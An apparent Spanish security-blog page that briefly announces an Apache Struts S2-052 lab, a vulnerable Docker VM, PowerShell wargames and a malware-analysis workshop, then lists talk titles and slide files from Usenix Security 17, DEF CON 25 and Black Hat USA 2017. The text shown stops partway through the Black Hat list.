• Strong and Efficient Cache Side-Channel Protection…
• CacheD: Identifying Cache-Based Timing Channels in Production Software
• An Ant in a World of Grasshoppers
• From Problems to Patterns to Practice…
• BinSim: Trace-based Semantic Binary Diffing…
• PlatPal: Detecting Malicious Documents with Platform Diversity
• Malton: Towards On-Device Non-Invasive Mobile Malware Analysis for ART
• Global Measurement of DNS Manipulation
• Characterizing the Nature and Dynamics of Tor Exit Blocking
• DeTor: Provably Avoiding Geographic Regions in Tor
• SmartAuth: User-Centered Authorization for the Internet of Things
• AWare: Preventing Abuse of Privacy-Sensitive Sensors via Operation Bindings
• 6thSense: A Context-aware Sensor-based Attack Detector for Smart Devices
• Identifier Binding Attacks and Defenses in Software-Defined Networks
• HELP: Helper-Enabled In-Band Device Pairing…
• Attacking the Brain: Races in the SDN Control Plane
• Detecting Credential Spearphishing in Enterprise Settings
• SLEUTH: Real-time Attack Scenario Reconstruction from COTS Audit Data
• When the Weakest Link is Strong…
• Hacking in Darkness: Return-oriented Programming against Secure Enclaves
• vTZ: Virtualizing ARM TrustZone
• Inferring Fine-grained Control Flow Inside SGX Enclaves with Branch Shadowing
• AuthentiCall: Efficient Identity and Content Authentication for Phone Calls
• Picking Up My Tab…
• TrustBase: An Architecture to Repair and Strengthen…
• Transcend: Detecting Concept Drift in Malware Classification Models
• Syntia: Synthesizing the Semantics of Obfuscated Code
• Predicting the Resilience of Obfuscated Code…
• Differential Privacy: From Theory to Deployment
• OSS-Fuzz - Google’s continuous fuzzing service for open source software
• Extension Breakdown…
• CCSP: Controlled Relaxation of Content Security Policies…
• Same-Origin Policy: Evaluation in Modern Browsers
• Locally Differentially Private Protocols for Frequency Estimation
• BLENDER: Enabling Local Search with a Hybrid Differential Privacy Model
• Computer Security, Privacy, and DNA Sequencing…
• BootStomp: On the Security of Bootloaders in Mobile Devices
• Seeing Through The Same Lens…
• Oscar: A Practical Page-Permissions-Based Scheme…
• PDF Mirage: Content Masking Attack Against Information-Based Online Services
• Loophole: Timing Attacks on Shared Event Loops in Chrome
• Game of Registrars…
• Speeding up detection of SHA-1 collision attacks…
• Phoenix: Rebirth of a Cryptographic Password-Hardening Service
• Vale: Verifying High-Performance Cryptographic Assembly Code
• Exploring User Perceptions of Discrimination in Online Targeted Advertising
• Measuring the Insecurity of Mobile Deep Links of Android
• How the Web Tangled Itself
• Towards Efficient Heap Overflow Discovery
• DR. CHECKER: A Soundy Analysis for Linux Kernel Drivers
• Dead Store Elimination (Still) Considered Harmful
• Telling Your Secrets without Page Faults…
• CLKSCREW: Exposing the Perils of Security-Oblivious Energy Management
• AutoLock: Why Cache Attacks on ARM Are Harder Than You Think
• USENIX Security ’17 - Understanding the Mirai Botnet
• MPI: Multiple Perspective Attack Investigation…
• Detecting Android Root Exploits by Learning from Root Providers
• USB Snooping Made Easy: Crosstalk Leakage Attacks on USB Hubs
• Reverse Engineering x86 Processor Microcode
• See No Evil, Hear No Evil, Feel No Evil
• The Loopix Anonymity System
• MCMix: Anonymous Messaging via Secure Multiparty Computation
• ORide: A Privacy-Preserving yet Accountable Ride-Hailing Service
• Adaptive Android Kernel Live Patching
• CHAINIAC: Proactive Software-Update Transparency…
• ROTE: Rollback Protection for Trusted Execution
• A Longitudinal, End-to-End View of the DNSSEC Ecosystem
• Measuring HTTPS Adoption on the Web
• “I Have No Idea What I’m Doing” - On the Usability of Deploying HTTPS
• Beauty and the Burst: Remote Identification of Encrypted Video Streams
• Walkie-Talkie…
• A Privacy Analysis of Cross-device Tracking
• SmartPool: Practical Decentralized Pooled Mining
• REM: Resource-Efficient Mining for Blockchains
• Ensuring Authorized Updates in Multi-user Database-Backed Applications
• Qapla: Policy compliance for database-backed systems
• Data Hemorrhage, Inequality, and You…

Laboratorio De Explotación De Apache Struts S2-052

*Equifax - Apache Struts S2-052*

Seguro que la mayoría, sino tod@s, habéis oído la noticia sobre la que hasta la fecha parace ser la mayor filtración de datos. Me refiero a Equifax , una de las tres empresas en EEUU que se encargan de monitorizar el crédito o la solvencia de los habitantes de dicho país. El problema incluso ha ido más haya de EEUU, y también se han visto comprometidos datos de argentinos (por distintos motivos), canadienses y del Reino Unido.

Máquina Virtual Vulnerable Con Docker

*Vulnerable Docker VM*

Si no has vivido bajo una roca en los últimos años, además de que Donald Trump es presidente de los EEUU, también habrás oído sobre Docker. De hecho, aquí en el blog ya hemos hablado varias veces sobre éste.

Docker ha recibido muchas críticas desde la comunidad de seguridad. Además de correr como root, Docker también permite que los contenedores interactúen con el host, y esto supone un gran riesgo. Aunque la seguridad en Docker ha mejorado muchísimo, si no eres cuidadoso con su configuración, un contenedor malicioso podría escapar de su entorno virtual o sandbox y llegar al host.

Under The Wire

*Under the wire*

Over The Wire es un sitio web muy popular el cual hospeda varios wargames para practicar conceptos de seguridad, y sean desde una consola en sistemas Linux, web, explotación. etc.

Basado en este mismo concepto, pero enfocado específicamente a Powershell, existe otro sitio web llamado Under The Wire . En éste puedes actualmente econtrar cuatro wargames , cada uno con 15 fases:

Material De Usenix Security 17, sesiones técnicas …

Hace una semana se celebró en Canadá la conferencia “académica” sobre ciber seguridad Usenix junto a un puñado de talleres . Todo el material está disponible de forma gratuita para descarga de ambos eventos: Sesiones Técnicas y Talleres .

Aquí tenéis la lista completa de las charlas y sus correspondientes enlaces:

Sesiones técnicas de Usenix Security ‘17

• When Your Threat Model Is “Everything”: Defensive Security in Modern Newsrooms
• Erinn Clark, Lead Security Architect, First Look Media/The Intercept
• How Double-Fetch Situations turn into Double-Fetch Vulnerabilities: A Study of Double Fetches in the Linux Kernel
  • Paper
  • Slides
• Postmortem Program Analysis with Hardware-Enhanced Post-Crash Artifacts
  • Paper
• Ninja: Towards Transparent Tracing and Debugging on ARM
  • Paper
  • Slides
• Prime+Abort: A Timer-Free High-Precision L3 Cache Attack using Intel TSX
  • Paper
• On the effectiveness of mitigations against floating-point timing channels
  • Paper
  • Slides
• Constant-Time Callees with Variable-Time Callers
  • Paper
  • Slides
• Neural Nets Can Learn Function Type Signatures From Binaries
  • Paper
• CAn’t Touch This: Software-only Mitigation against Rowhammer Attacks targeting Kernel Memory
  • Paper
• Efficient Protection of Path-Sensitive Control Security
  • Paper
• Digtool: A Virtualization-Based Framework for Detecting Kernel Vulnerabilities
  • Paper
• kAFL: Hardware-Assisted Feedback Fuzzing for OS Kernels
  • Paper
• Venerable Variadic Vulnerabilities Vanquished
  • Paper
• Towards Practical Tools for Side Channel Aware Software Engineering: ‘Grey Box’ Modelling for Instruction Leakages
  • Paper
  • Slides
• Strong and Efficient Cache Side-Channel Protection using Hardware Transactional Memory
  • Paper
  • Slides
• CacheD: Identifying Cache-Based Timing Channels in Production Software
  • Paper
• An Ant in a World of Grasshoppers
• Ellen Cram Kowalczyk, Microsoft
• From Problems to Patterns to Practice: Privacy and User Respect in a Complex World
• Lea Kissner, Google
• BinSim: Trace-based Semantic Binary Diffing via System Call Sliced Segment Equivalence Checking
  • Paper
• PlatPal: Detecting Malicious Documents with Platform Diversity
  • Paper
  • Slides
• Malton: Towards On-Device Non-Invasive Mobile Malware Analysis for ART
  • Paper
• Global Measurement of DNS Manipulation
  • Paper
• Characterizing the Nature and Dynamics of Tor Exit Blocking
  • Paper
• DeTor: Provably Avoiding Geographic Regions in Tor
  • Paper
• SmartAuth: User-Centered Authorization for the Internet of Things
  • Paper
• AWare: Preventing Abuse of Privacy-Sensitive Sensors via Operation Bindings
  • Paper
  • Slides
• 6thSense: A Context-aware Sensor-based Attack Detector for Smart Devices
  • Paper
• Identifier Binding Attacks and Defenses in Software-Defined Networks
  • Paper
• HELP: Helper-Enabled In-Band Device Pairing Resistant Against Signal Cancellation
  • Paper
• Attacking the Brain: Races in the SDN Control Plane
  • Paper
• Detecting Credential Spearphishing in Enterprise Settings
  • Paper
• SLEUTH: Real-time Attack Scenario Reconstruction from COTS Audit Data
  • Paper
• When the Weakest Link is Strong: Secure Collaboration in the Case of the Panama Papers
  • Paper
  • Slides
• Hacking in Darkness: Return-oriented Programming against Secure Enclaves
  • Paper
• vTZ: Virtualizing ARM TrustZone
  • Paper
  • Slides
• Inferring Fine-grained Control Flow Inside SGX Enclaves with Branch Shadowing
  • Paper
• AuthentiCall: Efficient Identity and Content Authentication for Phone Calls
  • Paper
• Picking Up My Tab: Understanding and Mitigating Synchronized Token Lifting and Spending in Mobile Payment
  • Paper
  • Slides
• TrustBase: An Architecture to Repair and Strengthen Certificate-based Authentication
  • Paper
• Transcend: Detecting Concept Drift in Malware Classification Models
  • Paper
• Syntia: Synthesizing the Semantics of Obfuscated Code
  • Paper
• Predicting the Resilience of Obfuscated Code Against Symbolic Execution Attacks via Machine Learning
  • Paper
• Differential Privacy: From Theory to Deployment
• Abhradeep Guha Thakurta, University of California, Santa Cruz
• OSS-Fuzz - Google’s continuous fuzzing service for open source software
  • Slides
• Kostya Serebryany, Google
• Extension Breakdown: Security Analysis of Browsers Extension Resources Control Policies
  • Paper
• CCSP: Controlled Relaxation of Content Security Policies by Runtime Policy Composition
  • Paper
• Same-Origin Policy: Evaluation in Modern Browsers
  • Paper
• Locally Differentially Private Protocols for Frequency Estimation
  • Paper
• BLENDER: Enabling Local Search with a Hybrid Differential Privacy Model
  • Paper
• Computer Security, Privacy, and DNA Sequencing: Compromising Computers with Synthesized DNA, Privacy Leaks, and More
  • Paper
• BootStomp: On the Security of Bootloaders in Mobile Devices
  • Paper
  • Slides
• Seeing Through The Same Lens: Introspecting Guest Address Space At Native Speed
  • Paper
• Oscar: A Practical Page-Permissions-Based Scheme for Thwarting Dangling Pointers
  • Paper
• PDF Mirage: Content Masking Attack Against Information-Based Online Services
  • Paper
• Loophole: Timing Attacks on Shared Event Loops in Chrome
  • Paper
• Game of Registrars: An Empirical Analysis of Post-Expiration Domain Name Takeovers
  • Paper
• Speeding up detection of SHA-1 collision attacks using unavoidable attack conditions
  • Paper
• Phoenix: Rebirth of a Cryptographic Password-Hardening Service
  • Paper
• Vale: Verifying High-Performance Cryptographic Assembly Code
  • Paper
• Exploring User Perceptions of Discrimination in Online Targeted Advertising
  • Paper
• Measuring the Insecurity of Mobile Deep Links of Android
  • Paper
• How the Web Tangled Itself: Uncovering the History of Client-Side Web (In)Security
  • Paper
• Towards Efficient Heap Overflow Discovery
  • Paper
• DR. CHECKER: A Soundy Analysis for Linux Kernel Drivers
  • Paper
• Dead Store Elimination (Still) Considered Harmful
  • Paper
• Telling Your Secrets without Page Faults: Stealthy Page Table-Based Attacks on Enclaved Execution
  • Paper
• CLKSCREW: Exposing the Perils of Security-Oblivious Energy Management
  • Paper
• AutoLock: Why Cache Attacks on ARM Are Harder Than You Think
  • Paper
• Understanding the Mirai Botnet
  • Paper
• MPI: Multiple Perspective Attack Investigation with Semantic Aware Execution Partitioning
  • Paper
• Detecting Android Root Exploits by Learning from Root Providers
  • Paper
• USB Snooping Made Easy: Crosstalk Leakage Attacks on USB Hubs
  • Paper
• Reverse Engineering x86 Processor Microcode
  • Paper
• See No Evil, Hear No Evil, Feel No Evil, Print No Evil? Malicious Fill Patterns Detection in Additive Manufacturing
  • Paper
• The Loopix Anonymity System
  • Paper
• MCMix: Anonymous Messaging via Secure Multiparty Computation
  • Paper
• ORide: A Privacy-Preserving yet Accountable Ride-Hailing Service
  • Paper
• Adaptive Android Kernel Live Patching
  • Paper
• CHAINIAC: Proactive Software-Update Transparency via Collectively Signed Skipchains and Verified Builds
  • Paper
• ROTE: Rollback Protection for Trusted Execution
  • Paper
• A Longitudinal, End-to-End View of the DNSSEC Ecosystem
  • Paper
• Measuring HTTPS Adoption on the Web
  • Paper
• “I Have No Idea What I’m Doing” - On the Usability of Deploying HTTPS
  • Paper
• Beauty and the Burst: Remote Identification of Encrypted Video Streams
  • Paper
• Walkie-Talkie: An Efficient Defense Against Passive Website Fingerprinting Attacks
  • Paper
• A Privacy Analysis of Cross-device Tracking
  • Paper
• SmartPool: Practical Decentralized Pooled Mining
  • Paper
• REM: Resource-Efficient Mining for Blockchains
  • Paper
• Ensuring Authorized Updates in Multi-user Database-Backed Applications
  • Paper
• Qapla: Policy compliance for database-backed systems
  • Paper
• Data Hemorrhage, Inequality, and You: How Technology and Data Flows are Changing the Civil Liberties Game
• Shankar Narayan, Technology and Liberty Project Director, American Civil Liberties Union of Washington

Material de los talleres

• Good tools gone bad: Are we on a slippery slope to communications chaos?
• Chester Wisniewski, Sophos
• dr0wned – Cyber-Physical Attack with Additive Manufacturing
  • Paper
• Automated PCB Reverse Engineering
  • Paper
• BADFET: Defeating Modern Secure Boot Using Second-Order Pulsed Electromagnetic Fault Injection
  • Paper
• From random block corruption to privilege escalation: A filesystem attack vector for rowhammer-like attacks
  • Paper
• Leveraging Flawed Tutorials for Seeding Large-Scale Web Vulnerability Discovery
  • Paper
• One Side-Channel to Bring Them All and in the Darkness Bind Them: Associating Isolated Browsing Sessions
  • Paper
• unCaptcha: A Low-Resource Defeat of reCaptcha’s Audio Challenge
  • Paper
• POTUS: Probing Off-The-Shelf USB Drivers with Symbolic Fault Injection
  • Paper
• Exploitations of Uninitialized Uses on macOS Sierra
  • Paper
  • Slides
• Static Exploration of Taint-Style Vulnerabilities Found by Fuzzing
  • Paper
• Software Grand Exposure: SGX Cache Attacks Are Practical
  • Paper
• Stalling Live Migrations on the Cloud
  • Paper
• SPEAKE(a)R: Turn Speakers to Microphones for Fun and Profit
  • Paper
• Breaking and Fixing Gridcoin
  • Paper
• Adversarial Example Defense: Ensembles of Weak Defenses are not Strong
  • Paper
  • Slides
• AutoCTF: Creating Diverse Pwnables via Automated Bug Injection
  • Paper
• Shedding too much Light on a Microcontroller’s Firmware Protection
  • Paper
  • Slides
• Breaking (and Fixing) a Widely Used Continuous Glucose Monitoring System
  • Paper
• One Car, Two Frames: Attacks on Hitag-2 Remote Keyless Entry Systems Revisited
  • Paper
• Shattered Trust: When Replacement Smartphone Components Attack
  • Paper
• White-Stingray: Evaluating IMSI Catchers Detection Applications
  • Paper
  • Slides
• fastboot oem vuln: Android Bootloader Vulnerabilities in Vendor Customizations
  • Paper

Documentación Interna De Los Sims

*Los Sims*

Los Sims es una serie de vídeojuegos de simulación social. Inicialmente fue desarrollado por una empresa llamada Maxis (subsidaria de EA) y publicado por EA (Eletronic Arts). El primero de la serie fue lanzado en el año 2000. Desde entonces, Los Sims batió todo tipo de records de venta y se convirtió en uno los vídeojuegos más influenciales de la época.

Don Hopkins , quién después de pasar por Sun Microsystems, fue uno de los componentes que participaron en el desarrollo de dicho vídeojuego, tiene recopilado en su sitio web personal un gran número de documentos internos (y en su día confidenciales) sobre el desarrollo de Los Sims. Como nota curiosa, Don Hopkins fue quién acuño el término copyleft e inspiró a Richard Stallman a usarlo.

Taller de análisis de malware, segunda parte

*Malware Unicorn*

Este nuevo taller de análisis de malware es una continuación de otro taller de introducción del cual ya hablamos anteriormente [aquí] ( https://www.cyberhades.com/2017/03/28/taller-de-analisis-de-malware/ ).

Titulado como: Reverse Engineering Malware 102 , Amanda Rousseau , nos guía a través del proceso de análisis de malware REAL. Con este taller aprenderás a analizar binarios Delphi, técnicas de evasión usadas por malware real para complicarnos la vida a la hora hacer uso de la ingeniería inversa. También aprenderamos a usar el motor Unicorn e identificar técnicas de compresión no comunes.

Presentaciones de DEF CON 25

*DEF CON 25*

Pues ahora le toca el turno a DEF CON, en este caso la edición 25 que se acaba de celebrar y ya tienes también acceso a las presentaciones :

• 5A1F/
  • 5A1F-Demystifying-Kernel-Exploitation-By-Abusing-GDI-Objects-WP.pdf
  • 5A1F-Demystifying-Kernel-Exploitation-By-Abusing-GDI-Objects.pdf
• Cheng Lei/
  • Cheng-Lei-The-Spear-to-Break-the-Security-Wall-of-S7CommPlus-WP.pdf
  • Cheng-Lei-The-Spear-to-Break-the-Security-Wall-of-S7CommPlus.pdf
• Denton Gentry/
  • Denton-Gentry-I-Know-What-You-Are-By-The-Smell-Of-Your-Wifi-WP.pdf
  • Denton-Gentry-I-Know-What-You-Are-By-The-Smell-Of-Your-Wifi.pdf
• Dimitry Snezhkov/
  • Dimitry Snezhkov - Extras/
  • Dimitry-Snezhkov-Abusing-Web-Hooks.pdf
• Dor Azouri/
  • Dor-Azouri-BITSInject-WP.pdf
  • Dor-Azouri-BITSInject.pdf
• Duncan Woodbury and Nicholas Haltmeyer/
  • Woodbury-and-Haltmeyer-Linux-Stack-Based-V2X-Framework-Hack-Connected-Vehicles-WP.pdf
  • Woodbury-and-Haltmeyer-Linux-Stack-Based-V2X-Framework-Hack-Connected-Vehicles.pdf
• Itzik Kotler and Amit Klein/
  • Itzik-Kotler-and-Amit-Klein-The-Adventures-of-AV-and-the-Leaky-Sandbox-WP.pdf
  • Itzik-Kotler-and-Amit-Klein-The-Adventures-of-AV-and-the-Leaky-Sandbox.pdf
• Josh Pitts/
  • Josh Pitts - Extras/
  • Josh-Pitts-Teaching-Old-Shellcode-New-Tricks.pdf
• Mark Newlin Logan Lamb and Christopher Grayson/
  • Newlin-Lamb-Grayson-CableTap-Wirelessly-Tapping-Your-Home-Network.pdf
• Matt Knight and Marc Newlin/
  • Matt-Knight-and-Marc-Newlin-Radio-Exploitation-WP.pdf
  • Matt-Knight-and-Marc-Newlin-Radio-Exploitation.pdf
• Matt Suiche/
  • Matt-Suiche-Porosity-Decompiling-Ethereum-Smart-Contracts-WP.pdf
  • Matt-Suiche-Porosity-Decompiling-Ethereum-Smart-Contracts.pdf
• Morten Schenk/
  • Morten-Schenk-Taking-Windows-10-Kernel-Exploitation-to-the-next-level-Leveraging-vulns-in-Creators-Update-WP.pdf
  • Morten-Schenk-Taking-Windows-10-Kernel-Exploitation-to-the-next-level-Leveraging-vulns-in-Creators-Update.pdf
• Phillip Tully and Michael Raggo/
  • Phillip-Tully-Michael-Raggo-A-Picture-is-Worth-a-Thousand-Words-Literally-WP.pdf
  • Phillip-Tully-Michael-Raggo-A-Picture-is-Worth-a-Thousand-Words-Literally.pdf
• Romain Coltel and Yves Le Provost/
  • Coltel-LeProvost-WSUSpendu-How-To-Hang-Its-Clients-WP.pdf
  • Coltel-LeProvost-WSUSpendu-How-To-Hang-Its-Clients.pdf
• Steinthor Bjarnason and Jason Jones/
  • Steinthor-Bjarnason-and-Jason-Jones-The-Call-Is-Coming-From-Inside-The-House-WP.pdf
  • Steinthor-Bjarnason-and-Jason-Jones-The-Call-Is-Coming-From-Inside-The-House.pdf
• Tomer Cohen/
  • Tomer-Cohen-Game-Of-Chromes-Owning-The-Web-With-Zombie-Chrome-Extensions-WP.pdf
  • Tomer-Cohen-Game-Of-Chromes-Owning-The-Web-With-Zombie-Chrome-Extensions.pdf
• 0ctane-Untrustworthy-Hardware.pdf
• Alvaro-Munoz-JSON-attacks.pdf
• Andrew-Robbins-and-Will-Schroeder-An-Ace-Up-The-Sleeve.pdf
• Artem-Kondratenko-Cisco-Catalyst-Exploitation.pdf
• Ayoul3-Dealing-the-Perfect-Hand-Shuffling-memory-blocks-on-zOS.pdf
• Caleb-Madrigal-IOT-Hacking-With-SDR.pdf
• Chris-Thompson-MS-Just-Gave-The-Blue-Teams-Tactical-Nukes.pdf
• Christopher-Domas-Breaking-The-x86-ISA.pdf
• Cincvolflt-Inside-The-Meet-Desai-Attack.pdf
• Damien-Cauquil-Weaponizing-the-BBC-MicroBit.pdf
• Daniel-Bohannon-and-Lee-Holmes-Revoke-Obfuscation.pdf
• Datko-and-Quartier-Breaking-Bitcoin-Hardware-Wallets.pdf
• Dhia-Mahjoub-and-Thomas-Mathew-Malicious-CDNs-Identifying-Zbot-Domains-en-Masse.pdf
• Foofus-Secret-Tools-Learning-About-Gov-Surveillance-Software.pdf
• Gabriel-Ryan-Advanced-Wireless-Attacks-Against-Enterprise-Networks-Course-Guide.pdf
• Gabriel-Ryan-Advanced-Wireless-Attacks-Against-Enterprise-Networks-Lab-Setup-Guide.pdf
• Gabriel-Ryan-Advanced-Wireless-Attacks-Against-Enterprise-Networks.pdf
• Gerald-Steere-and-Sean-Metcalf-Hacking-the-Cloud.pdf
• Gil-Cohen-Call-The-Plumber-You-Have-A-Leak-In-Your-(named)-Pipe.pdf
• Gus-Frischie-and-Evan-Teitelman-Backdooring-the-Lottery.pdf
• Hanno-Boeck-Abusing-Certificate-Transparency-Logs.pdf
• Haoqi-Shan-and-Jian-Yuan-Man-in-the-NFC.pdf
• Hernandez-Richards-MacDonald-Evoy-Tracking-Spies-in-the-Skies.pdf
• Hyrum-Anderson-Evading-Next-Gen-AV-Using-AI.pdf
• Ilja-van-Sprundel-BSD-Kern-Vulns.pdf
• Inbar-and-Eden-Story-of-Early-Israeli-Hacking-Community.pdf
• Jason-Staggs-Breaking-Wind-Hacking-Wind-Farm-Control-Networks.pdf
• Jesse-Michael-and-Mickey-Shkatov-Driving-Down-the-Rabbit-Hole.pdf
• Jhaddix-HUNT-Data-Driven-Web-Hacking-and-Manual-Testing.pdf
• Jim-Nitterauer-DNS-Devious-Name-Services-Destroying-Privacy-Anonymity-Without-Your-Consent.pdf
• Joe-Rozner-Wiping-Out-CSRF.pdf
• Karit-ZX-Security-Using-GPS-Spoofing-To-Control-Time.pdf
• Konstantinos-Karagiannis-Hacking-Smart-Contracts.pdf
• Lee-Holmes-Attacking-Battle-Hardened-Windows-Server.pdf
• Marina-Simakov-and-Igal-Gofman-Here-to-stay-Gaining-persistence-by-abusing-auth-mechanisms.pdf
• Matt-Wixey-See-No-Evil-Hear-No-Evil.pdf
• Max-Bazaliy-Jailbreaking-Apple-Watch.pdf
• Mikhail-Sosonkin-Hacking-Travel-Routers-Like-1999.pdf
• Min-Spark-Zheng-macOS-iOS-Kernel-Debugging.pdf
• Nathan-Seidle-Open-Source-Safe-Cracking-Robots.pdf
• Omar-Eissa-Attacking-Autonomic-Networks.pdf
• Orange-Tsai-A-New-Era-of-SSRF-Exploiting-URL-Parser-in-Trending-Programming-Languages.pdf
• Owen-Snide-Phone-System-Testing-and-other-fun-tricks.pdf
• Patrick-DeSantis-From-Box-to-Backdoor-Using-Old-School-Tools.pdf
• Patrick-Wardle-Offensive-Malware-Analysis-Fruit-Fly.pdf
• Plore-Popping-a-Smart-Gun.pdf
• Professor-Plum-Digital Vengeance-Exploiting-Notorious-Toolkits.pdf
• Roger-Dingledine-Next-Generation-Tor-Onion-Services.pdf
• Ryan-Baxendale-Microservices-and-FaaS-for-Offensive-Security.pdf
• Salvador-Mendoza-Exploiting-0ld-Magstripe-Info-with-New-Technology.pdf
• Scott-Behrens-and-Jeremy-Heffner-Starting-The-Avalanche-Application-DoS-In-Microservice-Architectures.pdf
• Slava-Makkaveev-and-Avi-Bashan-Unboxing-Android.pdf
• Stephan-Huber-and-Seigfried-Rasthofer-Password-Manager-Investigation.pdf
• Suggy-Sumner-Rage-Against-The-Weaponized-AI-Propaganda-Machine.pdf
• Svea-Eckert-Andreas-Dewes-Dark-Data.pdf
• Tess-Schrodinger-Total-Recall.pdf
• Tomer-Cohen-Game-Of-Chromes-Owning-The-Web-With-Zombie-Chrome-Extensions-WP.pdf
• Tomer-Cohen-Game-Of-Chromes-Owning-The-Web-With-Zombie-Chrome-Extensions.pdf
• Vasillios-Mavroudis-Trojan-Tolerant-Hardware.pdf
• Weston-Hecker-Opt-Out-or-Deauth-Trying.pdf
• Whitney-Merrill-and-Terrell-McSweeny-Tick-Tick-Boom-Tech-and-the-FTC.pdf
• William-Knowles-Persisting-With-Microsoft-Office.pdf
• XlogicX-Assembly-Language-Is-Too-High-Level.pdf
• Yuwei-Zheng-UnicornTeam-Ghost-Telephonist.pdf
• chaosdata-Ghost-in-the-Droid-ParaSpectre.pdf
• r00killah-and-securelyfitz-Secure-Tokin-and-Doobiekeys.pdf
• skud-and-Sky-If-You-Give-A-Mouse-A-Microchip.pdf
• spaceB0x-Exploiting-Continuous-Integration.pdf
• zerosum0x0-alephnaught-Koadic-C3.pdf

Presentaciones de Black Hat USA 2017

*BlackHat 2017*

Ya están disponible las presentaciones de Black Hat USA 2017 :

• Stepping Up Our Game: Re-focusing the Security Community on Defense and Making Security Work for Everyone
• ‘Ghost Telephonist’ Link Hijack Exploitations in 4G LTE CS Fallback
  • Yuwei-Ghost-Telephonist-Link-Hijack-Exploitations-In-4G-LTE-CS-Fallback.pdf
• (in)Security in Building Automation: How to Create Dark Buildings with Light Speed
  • Brandstetter-insecurity-In-Building-Automation-How-To-Create-Dark-Buildings-With-Light-Speed.pdf
  • Brandstetter-insecurity-In-Building-Automation-How-To-Create-Dark-Buildings-With-Light-Speed-wp.pdf
• A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!
  • Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
• Advanced Pre-Breach Planning: Utilizing a Purple Team to Measure Effectiveness vs. Maturity
• Adventures in Attacking Wind Farm Control Networks
  • Staggs-Adventures-In-Attacking-Wind-Farm-Control-Networks.pdf
• All Your SMS & Contacts Belong to ADUPS & Others
  • Johnson-All-Your-SMS-&-Contacts-Belong-To-Adups-&-Others.pdf
  • Johnson-All-Your-SMS-&-Contacts-Belong-To-Adups-&-Others-wp.pdf
• An ACE Up the Sleeve: Designing Active Directory DACL Backdoors
  • Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors.pdf
  • Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors-wp.pdf
• And Then the Script-Kiddie Said Let There be No Light. Are Cyber-Attacks on the Power Grid Limited to Nation-State Actors?
  • Keliris-And-Then-The-Script-Kiddie-Said-Let-There-Be-No-Light-Are-Cyberattacks-On-The-Power-Grid-Limited-To-Nation-State-Actors-wp.pdf
• Attacking Encrypted USB Keys the Hard(ware) Way
• Automated Detection of Vulnerabilities in Black-Box Routers (and Other Network Devices)
• Automated Testing of Crypto Software Using Differential Fuzzing
  • Aumasson-Automated-Testing-Of-Crypto-Software-Using-Differential-Fuzzing.pdf
• AVPASS: Leaking and Bypassing Antivirus Detection Model Automatically
  • Jung-AVPASS-Leaking-And-Bypassing-Anitvirus-Detection-Model-Automatically.pdf
• Behind the Plexiglass Curtain: Stats and Stories from the Black Hat NOC
• Betraying the BIOS: Where the Guardians of the BIOS are Failing
  • Branco-Firmware-Is-The-New-Black-Analyzing-Past-Three-Years-Of-BIOS-UEFI-Security-Vulnerabilities
• Big Game Theory Hunting: The Peculiarities of Human Behavior in the InfoSec Game
  • Shortridge-Big-Game-Theory-Hunting-The-Peculiarities-Of-Human-Behavior-In-The-Infosec-Game.pdf
• Blue Pill for Your Phone
• Bochspwn Reloaded: Detecting Kernel Memory Disclosure with x86 Emulation and Taint Tracking
  • Jurczyk-Bochspwn-Reloaded-Detecting-Kernel-Memory-Disclosure-With-X86-Emulation-And-Taint-Tracking.pdf
• Bot vs. Bot for Evading Machine Learning Malware Detection
  • Anderson-Bot-Vs-Bot-Evading-Machine-Learning-Malware-Detection.pdf
  • Anderson-Bot-Vs-Bot-Evading-Machine-Learning-Malware-Detection-wp.pdf
• Break
• Breakfast (Sponsored by FireEye McAfee Qualys & Tenable Network Security)
• Breaking Electronic Door Locks Like You’re on CSI: Cyber
  • OFlynn-Breaking-Electronic-Locks.pdf
• Breaking the Laws of Robotics: Attacking Industrial Robots
  • Quarta-Breaking-The-Laws-Of-Robotics-Attacking-Industrial-Robots.pdf
  • Quarta-Breaking-The-Laws-Of-Robotics-Attacking-Industrial-Robots-wp.pdf
• Breaking the x86 Instruction Set
  • Domas-Breaking-The-x86-ISA.pdf
  • Domas-Breaking-The-x86-Instruction-Set-wp.pdf
• Broadpwn: Remotely Compromising Android and iOS via a Bug in Broadcom’s Wi-Fi Chipsets
• Bug Collisions Meet Government Vulnerability Disclosure
  • Ablon-Bug-Collisions-Meet-Government-Vulnerability-Disclosure-Zero-Days-Thousands-Of-Nights-RAND.pdf
  • [Herr-Bug-Collisions-Meet-Government-Vulnerability-Disclosure-Taking Stock - Vulnerability-Rediscovery-HKS.pdf]( https://www.blackhat.com/docs/us-17/thursday/us-17-Herr-Bug-Collisions-Meet-Government-Vulnerability-Disclosure-Taking Stock - Vulnerability-Rediscovery-HKS.pdf)
• Business Hall Welcome Reception (Sponsored by Forcepoint McAfee LogRhythm & Tenable Network Security)
• Challenges of Cooperation Across Cyberspace
• Champagne Toast (Sponsored by ESET North America Fidelis Cybersecurity Fortinet Leidos Palo Alto Networks Raytheon & Symantec)
• Cloak & Dagger: From Two Permissions to Complete Control of the UI Feedback Loop
  • Fratantonio-Cloak-And-Dagger-From-Two-Permissions-To-Complete-Control-Of-The-UI-Feedback-Loop.pdf
  • Fratantonio-Cloak-And-Dagger-From-Two-Permissions-To-Complete-Control-Of-The-UI-Feedback-Loop-wp.pdf
• Coffee Service
• Cracking the Lens: Targeting HTTP’s Hidden Attack-Surface
  • Kettle-Cracking-The-Lens-Exploiting-HTTPs-Hidden-Attack-Surface.pdf
  • Kettle-Cracking-The-Lens-Exploiting-HTTPs-Hidden-Attack-Surface-wp.pdf
  • Kettle-Cracking-The-Lens-Exploiting-HTTPs-Hidden-Attack-Surface-tool.zip
• Cyber Wargaming: Lessons Learned in Influencing Security Stakeholders Inside and Outside Your Organization
  • Nichols-Cyber-Wargaming-Lessons-Learned-In-Influencing-Stakeholders-Inside-And-Outside-Your-Organization.pdf
  • Nichols-Cyber-Wargaming-Lessons-Learned-In-Influencing-Stakeholders-Inside-And-Outside-Your-Organization-wp.pdf
• Datacenter Orchestration Security and Insecurity: Assessing Kubernetes Mesos and Docker at Scale
• Defeating Samsung KNOX with Zero Privilege
  • Shen-Defeating-Samsung-KNOX-With-Zero-Privilege.pdf
  • Shen-Defeating-Samsung-KNOX-With-Zero-Privilege-wp.pdf
• Delivering Javascript to World+Dog
